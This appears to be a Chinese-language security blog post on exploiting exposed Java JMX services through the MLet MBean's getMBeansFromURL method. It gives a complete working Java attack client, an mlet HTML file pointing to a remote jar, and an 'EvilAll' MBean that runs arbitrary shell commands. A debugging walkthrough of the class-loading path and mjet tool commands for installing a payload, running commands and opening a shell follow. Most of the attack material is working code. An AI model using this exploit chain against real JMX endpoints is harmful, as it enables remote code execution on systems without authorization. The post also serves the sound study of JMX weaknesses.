前言
接着上篇,基础学完了,接下来的几篇拓展JMX的几个攻击面,这篇先从Mlet开始吧。算是jmx特性+mbean利用
什么是Mlet
简单来说:MLet 指的是javax.management.loading.MLet
,该mbean有个getMBeansFromURL的函数,可以从远程mlet server加载mbean。
攻击流程
从代码上看,分4步,在getMBeansFromURL方法中的是2、3步
- 根据host、port、domain用JMXConnector建立RMI连接
- 调用连接的
createMBean
方法创建javax.management.loading.MLet
- invoke MLet的getMBeansFromURL方法,远程加载放在服务器中的mlet文件和jar,同时注册jar中的Evil MBean
- invoke Evil MBean的执行命令的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| public class AttackJMXByMlet { public static void main(String[] args) { try { attack("localhost", "1099", "whoami"); } catch (Exception e) { e.printStackTrace(); } }
public static void attack(String host, String port, String cmd) {
try { JMXServiceURL serviceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/MyMBean"); System.out.println("URL: " + serviceURL + ", connecting"); JMXConnector connector = JMXConnectorFactory.connect(serviceURL); System.out.println("Connected: " + connector.getConnectionId()); MBeanServerConnection connection = connector.getMBeanServerConnection();
ObjectInstance mlet = null; try { mlet = connection.createMBean("javax.management.loading.MLet", null); } catch (InstanceAlreadyExistsException e) { mlet = connection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); } System.out.println("Loaded " + mlet.getClassName());
ObjectInstance evil = null; Object resEvil = connection.invoke(mlet.getObjectName(), "getMBeansFromURL", new Object[]{"http://127.0.0.1:7777/mlet"}, new String[]{String.class.getName()});
ObjectInstance evilBean = null; HashSet set = (HashSet) resEvil; Object object = set.iterator().next(); if (object instanceof InstanceAlreadyExistsException) { evilBean = connection.getObjectInstance(new ObjectName("MLetEvil:name=evil,id=1")); } else { evilBean = (ObjectInstance) object; }
System.out.println("Loaded class: " + evilBean.getClassName() + " object " + evilBean.getObjectName()); System.out.println("Calling runCommand with: " + cmd); Object res = connection.invoke(evilBean.getObjectName(), "runCmd", new Object[]{cmd}, new String[]{String.class.getName()}); System.out.println("Result: " + res); } catch (Exception e) { e.printStackTrace(); } } }
|
1
| <html><mlet code="com.diggid.evilclass.EvilAll" archive="Jmx-Mlet-1.0-SNAPSHOT.jar" name="MLetEvil:name=evil,id=1" codebase="http://127.0.0.1:7777"></mlet></html>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public interface EvilAllMBean { public String runCmd(String cmd); }
public class EvilAll implements EvilAllMBean{ @Override public String runCmd(String cmd) { try { String o = ""; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmd = "calc.exe"; p = new ProcessBuilder("cmd.exe", "/c", cmd); } else { String pty = "/bin/sh"; if ((new File("/bin/bash")).exists()) { pty = "/bin/bash"; }
p = new ProcessBuilder(pty, "-c", cmd); } Process proc = p.start(); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); StringBuilder stdout_err_data = new StringBuilder(); String s; while ((s = stdInput.readLine()) != null) { stdout_err_data.append(s).append("\n"); } while ((s = stdError.readLine()) != null) { stdout_err_data.append(s).append("\n"); } proc.waitFor(); return stdout_err_data.toString();
} catch (Exception var6) { return null; } } }
|
调试分析
这里跟一下攻击流程的第三步,也就是invoke getMBeansFromURL这步。在调用getMBeansFromURL
之前的由JMXServer来调度invoke的过程就不分析了,调用栈放一下
1 2 3 4 5 6 7 8 9 10 11 12
| getMBeansFromURL:630, MLet (javax.management.loading) ... invoke:498, Method (java.lang.reflect) invoke:275, MethodUtil (sun.reflect.misc) invokeM2:112, StandardMBeanIntrospector (com.sun.jmx.mbeanserver) invokeM2:46, StandardMBeanIntrospector (com.sun.jmx.mbeanserver) invokeM:237, MBeanIntrospector (com.sun.jmx.mbeanserver) invoke:138, PerInterface (com.sun.jmx.mbeanserver) invoke:252, MBeanSupport (com.sun.jmx.mbeanserver) invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver) doOperation:1468, RMIConnectionImpl (javax.management.remote.rmi)
|
先从远程的http://127.0.0.1/mlet
文件中解析html得到相关的属性如下,保存在MLet的mletList中
然后调用javax.management.MBeanServer#createMBean(String, ObjectName, MLetObjectName)
方法通过MLet来创建MBean。
createMBean由多个重载,重点关注第三个参数即loaderName有无的区别。如果有的话,对应会调用到的方法如下DefaultMBeanServerInterceptor#createMBean
如果无的话,则withDefaultLoaderRepository
这第四个参数是true,说明会从本地加载。
跟一下DefaultMBeanServerInterceptor#createMBean
如果是true的情况,会调用MBeanInstantiator#findClassWithDefaultLoaderRepository
来加载本地的Class文件。
如果是false且有loaderName的话,则调用MBeanInstantiator#findClass(ClsName, loaderName)
继续跟进,调用MBeanInstantiator#getClassLoader
方法取出ClassLoader,其实就是MLet,也就是说MLet本身就是一个辅助加载远程MBean的工具,其继承了URLClassLoader
一直跟进到MBeanInstantiator#loadClass
,后面就是Class.forName(name, false, MLet)
,后面会调用URLClassLoader的那一套来从远程jar文件中加载class
Mjet工具
https://github.com/mogwailabs/mjet
上面的四步工具流程都可以直接利用mjet工具来操作。
列举一下几个简单用法
- 需要认证、绕过、制定domainName(默认是jmxrmi)的选项
- 操作模式:包括注入Mbean、执行命令(java/js)、修改密码(一个密码对应一个MBean,默认是super_secret,操作MBean是需要密码参数)、shell模式、反序列化等
mjet本身就内置了MLET web server,默认是在本地的8080端口。但install的时候不能缺省。注入进去的MBean名称为MBeanMogwaiLabs:name=payload,id=1
,针对MBean执行操作的话都需要带上install时设置的密码
列举一下常用的
1 2 3 4 5 6 7 8 9
| (1) install MBean:会注入一个Evil MBean进去 jython mjet.py [host] [port] install [passwd] [MLet URL] [MLET port] jython mjet.py 127.0.0.1 1099 install passwd http://127.0.0.1:8080 8080 (2) command jython mjet.py [host] [port] command [passwd] [cmd] jython mjet.py 127.0.0.1 1099 command passwd "whoami" (3) shell jython mjet.py [host] [port] shell [passwd] jython mjet.py 127.0.0.1 1099 shell passwd
|
参考
http://m0d9.me/2020/05/29/JMX%E7%B3%BB%E5%88%97%EF%BC%9AMlet%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%EF%BC%88%E4%BA%8C%EF%BC%89/
https://www.anquanke.com/post/id/202686#h3-5